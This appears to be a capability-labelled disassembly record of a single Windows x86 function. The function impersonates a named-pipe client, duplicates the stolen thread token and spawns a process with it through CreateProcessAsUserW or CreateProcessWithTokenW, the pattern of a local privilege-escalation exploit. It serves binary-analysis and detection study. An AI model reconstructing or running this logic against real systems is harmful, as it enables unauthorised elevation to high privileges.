Function at 0x401930
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x44
xor edi, edi
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x68]
mov dword [ebp - 8], 0xffffffff
xorps xmm0, xmm0
xor ebx, ebx
push edi
push eax
mov esi, ecx
mov dword [ebp - 0xc], ebx
movups xmmword [ebp - 0x20], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
test eax, eax
je 0x401b01
lea eax, [ebp - 0x10]
push eax
push edi
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x401b01
lea eax, [ebp - 8]
push eax
push 1
push 2
push edi
push 0xf01ff
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x401b01
cmp dword [0x405384], ebx
je 0x4019df
push 4
push 0x405384
push 0xc
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x401b01
cmp dword [0x40537c], ebx
mov eax, 0x400
mov esi, 0x410
push 0x208
cmovne esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x401b01
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x401b01
push 0
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x401b01
lea eax, [ebp - 0x20]
mov dword [ebp - 0x64], ebx
push eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x44
push eax
push edi
push dword [ebp - 0xc]
xorps xmm0, xmm0
mov dword [ebp - 0x60], str.WinSta0Default
push esi
push dword [0x40537c]
movlpd qword [ebp - 0x5c], xmm0
push 0
push 0
push dword [0x405380]
movlpd qword [ebp - 0x54], xmm0
push 0
push dword [ebp - 8]
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x401ad7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x401b01
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp dword [0x40537c], ebx
jne 0x401b01
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
push dword [ebp - 0xc]
push esi
push dword [0x405380]
push 0
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x401b01
cmp dword [0x40537c], ebx
je 0x401afc
push 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
add esp, 8
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, 1
mov eax, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401b11
push eax
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x401b1b
push eax
call esi
test edi, edi
je 0x401b29
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x401b37
push eax
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x401b41
push eax
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x401b4b
push eax
call esi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401c53
mov esp, ebp
pop ebp
ret